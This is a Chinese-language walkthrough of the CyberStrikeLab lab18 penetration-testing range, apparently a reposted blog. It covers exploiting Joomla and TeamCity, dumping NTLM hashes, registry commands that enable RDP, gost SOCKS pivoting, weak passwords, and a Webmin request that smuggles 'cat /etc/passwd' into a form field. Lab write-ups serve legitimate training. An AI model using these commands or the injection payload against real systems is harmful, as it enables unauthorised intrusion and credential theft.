CyberStrikeLab lab18
luther
luther
luther-sec
2026年6月9日 17:29
四川
在小说阅读器读本章
去阅读
靶场较为简单，很多过程已经省略
flag1
端口扫描
joolma扫描到一个漏洞，可以读取joomla的信息，可以知道版本是3.4
在8111端口发现一个web服务teamcity，发现存在漏洞，可以直接使用终端，直接获取flag,
也可以读到其他敏感文件，比如数据库用户名和密码
上线cs，只要是windows，我上线第一步就是抓取hash，然后开启rdp
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d2b3ba29f1605019ed232bc5c23a4050:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f
rdp连接，在数据库收集到两个密文
admin:$2y$10$mEho/Nt3qh1A0i3fLJX9SecAnwHGWlJyoFngSEN8e9ehtu2p.LLLucslab:$2y$10$MKykYPvtDJdj3gsynjwSLelHiwJA1aHGM3rPIr91SyqHaxnVdp5Cy
flag2
信息收集发现是双网卡，扫另一个网段
发现10.8.8.6和10.8.8.10，搭建socks代理服务，fscan扫出来一个漏洞
gost.exe -L socks5://:9001
幸运的是，爆破ssh的时候，直接得到了ssh密码
cyberstrike@2024
当然，这个漏洞也是可以利用的
POST /password_change.cgi HTTP/1.1Host:10.8.8.6:10000User-Agent:Mozilla/5.0(CentOS;Linux i686)AppleWebKit/537.36(KHTML, like Gecko)Chrome/118.0.0.0Safari/537.36Connection: closeContent-Length:73Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Content-Type: application/x-www-form-urlencodedReferer: https://10.8.8.6:10000Accept-Encoding: gzip
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
flag3
好奇的是没有找到flag，继续10.8.8.10，发现mysql弱口令
mdut一把梭
看下ip
直接上传gost搭建代理，直击最深处
上线cs,抓取hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2e175348cb1254004830c3be4008e94f:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
flag4&5
扫描一下发现堡垒机，弱口令登进去，admin 123456
获取flag
DC这台主机也能获取
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论